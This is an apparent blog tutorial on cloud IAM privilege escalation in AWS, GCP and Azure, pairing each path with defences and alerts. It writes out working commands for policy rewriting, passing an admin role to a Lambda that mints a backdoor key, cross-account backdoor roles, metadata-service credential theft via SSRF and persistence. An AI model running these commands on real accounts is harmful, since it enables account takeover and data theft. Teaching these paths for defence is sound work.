What Is Cloud IAM → Authentication vs Authorization → IAM Roles vs Policies → AWS IAM Deep Dive → GCP Resource Hierarchy IAM → Azure RBAC Scopes → OIDC Workload Identity → AWS IAM Privilege Escalation
TL;DR
- Cloud breaches are IAM events — the initial compromise is just the door; the IAM configuration determines how far an attacker goes
iam:PassRolewithResource: *is AWS’s single highest-risk permission — it lets any principal assign any role to any service they can createiam:CreatePolicyVersionis a one-call path to full account takeover — the attacker rewrites the policy that’s already attached to themiam.serviceAccounts.actAsin GCP andMicrosoft.Authorization/roleAssignments/writein Azure are direct equivalents — same threat model, different syntax- Enforce IMDSv2 on EC2; disable SA key creation in GCP; restrict role assignment scope in Azure
- Alert on IAM mutations — they are low-volume, high-signal events that should never be silent
The Big Picture
AWS IAM PRIVILEGE ESCALATION — HOW LIMITED ACCESS BECOMES FULL COMPROMISE
Initial credential (exposed key, SSRF to IMDS, phished session)
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ DISCOVERY (read-only, often undetected) │
│ get-caller-identity · list-attached-policies · get-policy │
│ Result: attacker maps their permission surface in < 15 min │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ PRIVILEGE ESCALATION — pick one path that's open: │
│ │
│ iam:CreatePolicyVersion → rewrite your own policy to *:* │
│ iam:PassRole + lambda → invoke code under AdminRole │
│ iam:CreateRole + │
│ iam:AttachRolePolicy → create and arm a backdoor role │
│ iam:UpdateAssumeRolePolicy → hijack an existing admin role │
│ SSRF → IMDS → steal instance role credentials │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ PERSISTENCE (before incident response begins) │
│ Create hidden IAM user · cross-account backdoor role │
│ Add personal account at org level (GCP) │
│ These survive: password resets, key rotation, even │
│ deletion of the original compromised credential │
└─────────────────────────────────────────────────────────────────┘
│
▼
Impact: data exfiltration · destruction · ransomware · mining
AWS IAM privilege escalation follows a consistent pattern across almost every significant cloud breach: a limited initial credential, a chain of IAM permissions that expand access, and damage that’s proportional to how much room the IAM design gave the attacker to move. This episode maps the paths — as concrete techniques with specific permissions, because defending against them requires understanding exactly what they exploit.
Introduction
AWS IAM privilege escalation turns misconfigured permissions into full account compromise — and the entry point is rarely the attack that matters. In 2019, Capital One suffered a breach that exposed over 100 million customer records. The attacker didn’t find a zero-day. They exploited an SSRF vulnerability in a web application firewall, reached the EC2 instance metadata service, retrieved temporary credentials for the instance’s IAM role, and found a role with sts:AssumeRole permissions that let it assume a more powerful role. That more powerful role had access to S3 buckets containing customer data.
The SSRF got the attacker a foothold. The IAM design determined how far they could go.
This is the pattern across almost every significant cloud breach: a limited initial credential, followed by a privilege escalation path through IAM, followed by the actual damage. The damage is determined not by the sophistication of the initial compromise but by how much room the IAM configuration gives an attacker to move.
This episode maps the paths. Not as theory — as concrete techniques with specific permissions, because understanding exactly what an attacker can do with a specific IAM misconfiguration is the only way to prioritize what to fix. The defensive controls are listed alongside each path because that’s where they’re most useful.
The Attack Chain
Most cloud account compromises follow a consistent pattern:
Initial Access
(compromised credential — exposed access key, SSRF to IMDS,
compromised developer workstation, phished IdP session)
│
▼
Discovery
(what am I? what can I do? what can I reach?)
│
▼
Privilege Escalation
(use existing permissions to gain more permissions)
│
▼
Lateral Movement
(access other accounts, services, resources)
│
▼
Persistence
(create backdoor identities that survive credential rotation)
│
▼
Impact
(data exfiltration, destruction, ransomware, crypto mining)
Understanding this chain tells you where to put defensive controls. You can cut the chain at any link. The earlier the better — but it’s better to have multiple cuts than to assume a single control holds.
Phase 1: Discovery — An Attacker’s First Steps
The moment an attacker has any cloud credential, they enumerate. This is low-noise, uses only read permissions, and in many environments goes completely undetected:
# AWS: establish identity
aws sts get-caller-identity
# Returns: Account, UserId, Arn — tells the attacker what they're working with
# Enumerate attached policies
aws iam list-attached-user-policies --user-name alice
aws iam list-user-policies --user-name alice
aws iam list-groups-for-user --user-name alice
aws iam list-attached-role-policies --role-name LambdaRole
# Read the actual policy document
aws iam get-policy-version \
--policy-arn arn:aws:iam::123456789012:policy/DevAccess \
--version-id v1
# Survey what's accessible
aws s3 ls
aws ec2 describe-instances --output table
aws secretsmanager list-secrets
aws ssm describe-parameters
# GCP: establish identity and permissions
gcloud auth list
gcloud projects get-iam-policy PROJECT_ID --format=json | \
jq '.bindings[] | select(.members[] | contains("[email protected]"))'
# Test specific permissions
gcloud projects test-iam-permissions PROJECT_ID \
--permissions="storage.objects.list,iam.roles.create,iam.serviceAccountKeys.create"
# Azure: establish context
az account show
az role assignment list --assignee [email protected] --all --output table
All of this is read-only. In most environments I’ve reviewed, there are no alerts on this activity unless the calls come from an unusual IP or at an unusual time. An attacker comfortable with the AWS CLI can map the permission surface of a compromised credential in 10–15 minutes.
AWS Privilege Escalation Paths
Path 1: iam:CreatePolicyVersion
The most direct path. If a principal can create a new version of a policy attached to themselves, they can rewrite it to grant anything.
# Attacker has iam:CreatePolicyVersion on a policy attached to their own role
aws iam create-policy-version \
--policy-arn arn:aws:iam::123456789012:policy/DevPolicy \
--policy-document '{
"Version": "2012-10-17",
"Statement": [{"Effect": "Allow", "Action": "*", "Resource": "*"}]
}' \
--set-as-default
# Result: DevPolicy now grants AdministratorAccess to everyone with it attached
The attacker doesn’t need to create new infrastructure. They inject admin access directly into their existing permission set. This is often undetected by basic monitoring because CreatePolicyVersion is a low-frequency legitimate operation.
Defence: Alert on every CreatePolicyVersion call. Restrict the permission to a dedicated break-glass IAM role. Use permissions boundaries on developer roles to cap the maximum permissions they can ever hold.
Path 2: iam:PassRole + Service Creation
iam:PassRole allows an identity to assign an IAM role to an AWS service. This is legitimate and necessary — it’s how you configure “this Lambda function runs with this role.” The attack vector: if a more powerful role exists in the account, and the attacker can pass it to a service they control and invoke that service, they operate with the more powerful role’s permissions.
# Attacker has: lambda:CreateFunction + iam:PassRole + lambda:InvokeFunction
# They know an existing AdminRole exists (discovered during enumeration)
# Create a Lambda that runs with AdminRole
aws lambda create-function \
--function-name exfil-fn \
--runtime python3.12 \
--role arn:aws:iam::123456789012:role/AdminRole \
--handler index.handler \
--zip-file fileb://payload.zip
# Invoke — code now executes with AdminRole's permissions
aws lambda invoke --function-name exfil-fn /tmp/output.json
import boto3
def handler(event, context):
# Running as AdminRole
s3 = boto3.client('s3')
buckets = s3.list_buckets()
# Create a backdoor access key while we have elevated access
iam = boto3.client('iam')
key = iam.create_access_key(UserName='backdoor-user')
return {"buckets": [b['Name'] for b in buckets['Buckets']], "key": key}
Defence: Scope iam:PassRole to specific role ARNs — never Resource: *. Example:
{
"Effect": "Allow",
"Action": "iam:PassRole",
"Resource": "arn:aws:iam::123456789012:role/LambdaExecutionRole-*"
}
Path 3: iam:CreateRole + iam:AttachRolePolicy
If an attacker can both create a role and attach policies to it, they create a backdoor identity:
# Create a role with a trust policy naming an attacker-controlled principal
aws iam create-role \
--role-name BackdoorRole \
--assume-role-policy-document '{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::ATTACKER_ACCOUNT:root"},
"Action": "sts:AssumeRole"
}]
}'
# Attach AdministratorAccess
aws iam attach-role-policy \
--role-name BackdoorRole \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# Assume it from the attacker's account — persistent cross-account access
aws sts assume-role \
--role-arn arn:aws:iam::TARGET_ACCOUNT:role/BackdoorRole \
--role-session-name persistent-access
This is persistence, not just escalation — the backdoor survives password resets, access key rotation, even deletion of the original compromised credential.
Path 4: iam:UpdateAssumeRolePolicy
If an existing high-privilege role already exists, modifying its trust policy to allow the attacker’s principal is faster and quieter than creating a new role:
# Add attacker's principal to the trust policy of an existing AdminRole
aws iam update-assume-role-policy \
--role-name ExistingAdminRole \
--policy-document '{
"Version": "2012-10-17",
"Statement": [
{"Effect": "Allow", "Principal": {"Service": "ec2.amazonaws.com"}, "Action": "sts:AssumeRole"},
{"Effect": "Allow", "Principal": {"AWS": "arn:aws:iam::123456789012:user/attacker"}, "Action": "sts:AssumeRole"}
]
}'
The original entry remains intact. A casual review might miss the addition. Trust policy changes should be critical-priority alerts.
Path 5: SSRF to EC2 Instance Metadata
The Capital One path. Any SSRF vulnerability in a web application running on EC2 can retrieve the instance role’s credentials from the metadata service:
Attacker → SSRF → GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
→ Returns role name
→ GET http://169.254.169.254/latest/meta-data/iam/security-credentials/MyAppRole
→ Returns: AccessKeyId, SecretAccessKey, Token (valid up to 6 hours)
Defence: IMDSv2 requires a PUT request first, blocking simple GET-based SSRF:
# Enforce IMDSv2 at instance launch
aws ec2 run-instances \
--metadata-options HttpTokens=required,HttpPutResponseHopLimit=1
# Enforce org-wide via SCP
{
"Effect": "Deny",
"Action": "ec2:RunInstances",
"Resource": "arn:aws:ec2:*:*:instance/*",
"Condition": {
"StringNotEquals": {"ec2:MetadataHttpTokens": "required"}
}
}
High-Risk AWS Permissions Reference
| Permission | Why It’s Dangerous |
|---|---|
iam:PassRole with Resource: * |
Assign any role to any service — enables immediate privilege escalation |
iam:CreatePolicyVersion |
Rewrite any policy to grant anything — full account takeover in one API call |
iam:AttachRolePolicy |
Attach AdministratorAccess to any role |
iam:UpdateAssumeRolePolicy |
Add any principal to any role’s trust policy |
iam:CreateAccessKey on other users |
Create persistent credentials for any IAM user |
lambda:UpdateFunctionCode on privileged Lambda |
Inject malicious code into an elevated function |
secretsmanager:GetSecretValue with Resource: * |
Read every secret in the account |
ssm:GetParameter with Resource: * |
Read all Parameter Store values — often contains credentials |
iam:CreateRole + iam:AttachRolePolicy |
Create and arm a backdoor role |
GCP Privilege Escalation Paths
iam.serviceAccounts.actAs
GCP’s equivalent of iam:PassRole — and broader. Allows an identity to make any GCP service act as a specified service account:
# Attacker has iam.serviceAccounts.actAs on an admin SA
gcloud --impersonate-service-account=admin-sa@project.iam.gserviceaccount.com \
iam roles list --project=my-project
# Generate a full access token and call any GCP API as admin-sa
gcloud auth print-access-token \
--impersonate-service-account=admin-sa@project.iam.gserviceaccount.com
iam.serviceAccountKeys.create
Converts a short-lived identity into a persistent one. Create a key for an admin service account and you have indefinite access:
gcloud iam service-accounts keys create admin-key.json \
[email protected]
# Valid until explicitly deleted — no expiry by default
# Block this at org level
gcloud org-policies set-policy --organization=ORG_ID - << 'EOF'
name: organizations/ORG_ID/policies/iam.disableServiceAccountKeyCreation
spec:
rules:
- enforce: true
EOF
Azure Privilege Escalation Paths
Microsoft.Authorization/roleAssignments/write
If an identity can write role assignments, it can grant itself Owner at any scope it can write to:
az role assignment create \
--assignee [email protected] \
--role "Owner" \
--scope /subscriptions/SUB_ID
Managed Identity Assignment
Attach a high-privilege managed identity to a VM the attacker controls, then retrieve its token via IMDS:
az vm identity assign \
--name attacker-vm --resource-group rg-attacker \
--identities /subscriptions/SUB/resourcegroups/rg-prod/providers/\
Microsoft.ManagedIdentity/userAssignedIdentities/admin-identity
# From inside the VM
curl 'http://169.254.169.254/metadata/identity/oauth2/token\
?api-version=2018-02-01&resource=https://management.azure.com/' \
-H 'Metadata: true'
Persistence — How Attackers Outlast Incident Response
# AWS: hidden IAM user with admin access
aws iam create-user --user-name svc-backup-01
aws iam attach-user-policy \
--user-name svc-backup-01 \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam create-access-key --user-name svc-backup-01
# Valid until manually deleted — survives key rotation on other identities
# AWS: cross-account backdoor — hardest to find during IR
aws iam create-role --role-name svc-monitoring-role \
--assume-role-policy-document '{
"Principal": {"AWS": "arn:aws:iam::ATTACKER_ACCOUNT:root"},
"Action": "sts:AssumeRole"
}'
aws iam attach-role-policy --role-name svc-monitoring-role \
--policy-arn arn:aws:iam::aws:policy/ReadOnlyAccess
# GCP: add personal account at org level — survives project deletion
gcloud organizations add-iam-policy-binding ORG_ID \
--member="user:[email protected]" --role="roles/owner"
Cross-account backdoors are particularly resilient — incident responders often focus on the compromised account without auditing trust relationships with external accounts.
Detection — What to Alert On
| Activity | Event to Watch | Priority |
|---|---|---|
| Role trust policy modified | UpdateAssumeRolePolicy |
Critical |
| New IAM user created | CreateUser |
High |
| Policy version created | CreatePolicyVersion |
High |
| Policy attached to role | AttachRolePolicy, PutRolePolicy |
High |
| SA key created (GCP) | google.iam.admin.v1.CreateServiceAccountKey |
High |
| Role assignment at subscription scope (Azure) | roleAssignments/write at /subscriptions/ |
Critical |
| CloudTrail logging disabled | StopLogging, DeleteTrail |
Critical |
GetSecretValue at unusual hours |
secretsmanager:GetSecretValue |
Medium |
IAM events are low-volume in most accounts. That makes anomaly detection straightforward — a spike in IAM API calls outside business hours from an unusual principal is a strong signal. Configure the critical-priority events as real-time alerts, not just logged events.
⚠ Production Gotchas
╔══════════════════════════════════════════════════════════════════════╗
║ ⚠ GOTCHA 1 — "We have SCPs, so individual role permissions ║
║ don't matter as much" ║
║ ║
║ SCPs set the ceiling. If an SCP allows iam:PassRole, any role ║
║ with that permission can exploit it regardless of how "scoped" ║
║ the SCP looks. SCPs and role-level permissions both need to be ║
║ reviewed — they are independent layers. ║
╚══════════════════════════════════════════════════════════════════════╝
╔══════════════════════════════════════════════════════════════════════╗
║ ⚠ GOTCHA 2 — Permissions boundary doesn't stop iam:PassRole ║
║ ║
║ A permissions boundary caps what a role can do directly. It does ║
║ NOT prevent that role from passing a more powerful role to a ║
║ Lambda or EC2. iam:PassRole escalation bypasses the boundary ║
║ because the attacker is operating through the service, not ║
║ directly through the bounded role. ║
║ ║
║ Fix: scope iam:PassRole to specific ARNs regardless of whether ║
║ a permissions boundary is in place. ║
╚══════════════════════════════════════════════════════════════════════╝
╔══════════════════════════════════════════════════════════════════════╗
║ ⚠ GOTCHA 3 — CloudTrail doesn't log data plane events by default ║
║ ║
║ S3 object reads (GetObject), Secrets Manager reads (GetSecretValue)║
║ and SSM GetParameter are data events — not logged by CloudTrail ║
║ unless you explicitly enable Data Events. An attacker exfiltrating ║
║ data via these calls leaves no trace in a default CloudTrail ║
║ configuration. ║
║ ║
║ Fix: enable S3 and Lambda data events in CloudTrail. At minimum ║
║ enable logging for secretsmanager:GetSecretValue. ║
╚══════════════════════════════════════════════════════════════════════╝
Quick Reference
┌──────────────────────────────────┬──────────────────────────────────────────────────────┐
│ Permission │ Escalation Path │
├──────────────────────────────────┼──────────────────────────────────────────────────────┤
│ iam:CreatePolicyVersion │ Rewrite your own policy to grant *:* │
│ iam:PassRole (Resource: *) │ Assign AdminRole to a Lambda/EC2 you control │
│ iam:CreateRole+AttachRolePolicy │ Create and arm a backdoor cross-account role │
│ iam:UpdateAssumeRolePolicy │ Hijack existing admin role's trust policy │
│ iam.serviceAccounts.actAs (GCP) │ Impersonate any service account including admins │
│ iam.serviceAccountKeys.create │ Generate permanent key for any SA │
│ roleAssignments/write (Azure) │ Assign Owner to yourself at subscription scope │
└──────────────────────────────────┴──────────────────────────────────────────────────────┘
Defensive commands:
┌────────────────────────────────────────────────────────────────────────────────────────┐
│ # AWS — find all roles with iam:PassRole on Resource: * │
│ aws iam list-policies --scope Local --query 'Policies[*].Arn' --output text | \ │
│ xargs -I{} aws iam get-policy-version \ │
│ --policy-arn {} --version-id v1 --query 'PolicyVersion.Document' │
│ │
│ # AWS — check who can assume a given role │
│ aws iam get-role --role-name AdminRole \ │
│ --query 'Role.AssumeRolePolicyDocument' │
│ │
│ # AWS — simulate whether a principal can CreatePolicyVersion │
│ aws iam simulate-principal-policy \ │
│ --policy-source-arn arn:aws:iam::ACCOUNT:role/DevRole \ │
│ --action-names iam:CreatePolicyVersion \ │
│ --resource-arns arn:aws:iam::ACCOUNT:policy/DevPolicy │
│ │
│ # GCP — check who has actAs on a service account │
│ gcloud iam service-accounts get-iam-policy SA_EMAIL \ │
│ --format=json | jq '.bindings[] | select(.role=="roles/iam.serviceAccountUser")' │
│ │
│ # GCP — list service account keys (find persistent backdoors) │
│ gcloud iam service-accounts keys list --iam-account=SA_EMAIL │
│ │
│ # Azure — list all role assignments at subscription scope │
│ az role assignment list --scope /subscriptions/SUB_ID --output table │
└────────────────────────────────────────────────────────────────────────────────────────┘
Framework Alignment
| Framework | Reference | What It Covers Here |
|---|---|---|
| CISSP | Domain 6 — Security Assessment and Testing | IAM attack paths are the foundation of cloud penetration testing and access review methodology |
| CISSP | Domain 5 — Identity and Access Management | Defensive IAM design requires understanding offensive technique — you cannot protect paths you don’t know exist |
| ISO 27001:2022 | 8.8 Management of technical vulnerabilities | IAM misconfigurations are technical vulnerabilities — identifying and remediating privilege escalation paths |
| ISO 27001:2022 | 8.16 Monitoring activities | Detection signals and alerting on IAM mutations as part of continuous monitoring |
| SOC 2 | CC7.1 | Threat and vulnerability identification — this episode maps the threat model for cloud IAM |
| SOC 2 | CC6.1 | Understanding attack paths informs the design of logical access controls that actually hold |
Key Takeaways
- Cloud breaches are IAM events — the initial compromise is just the door; IAM misconfigurations determine how far an attacker can go
iam:PassRolewithResource: *is AWS’s highest-risk single permission — scope it to specific role ARNs or the escalation paths multiplyiam:CreatePolicyVersionandiam:UpdateAssumeRolePolicyare privilege escalation and persistence primitives — restrict them to dedicated admin rolesiam.serviceAccounts.actAsin GCP androleAssignments/writein Azure are direct equivalents — same threat model, cloud-specific syntax- Enforce IMDSv2 on EC2; disable SA key creation org-wide in GCP; restrict role assignment scope in Azure
- Enable CloudTrail Data Events — default logging misses S3 reads, Secrets Manager reads, and SSM GetParameter calls entirely
- Alert on IAM mutations — low-volume, high-signal events that should never go unmonitored
What’s Next
You now know how attackers move through misconfigured IAM. AWS least privilege audit is the defensive counterpart — using Access Analyzer, GCP IAM Recommender, and Azure Access Reviews to find and right-size over-permissioned access before an attacker does. The goal: get from wildcard policies to scoped, auditable permissions without breaking production.
Next: AWS Least Privilege Audit: From Wildcard Permissions to Scoped Policies
Get EP09 in your inbox when it publishes → linuxcent.com/subscribe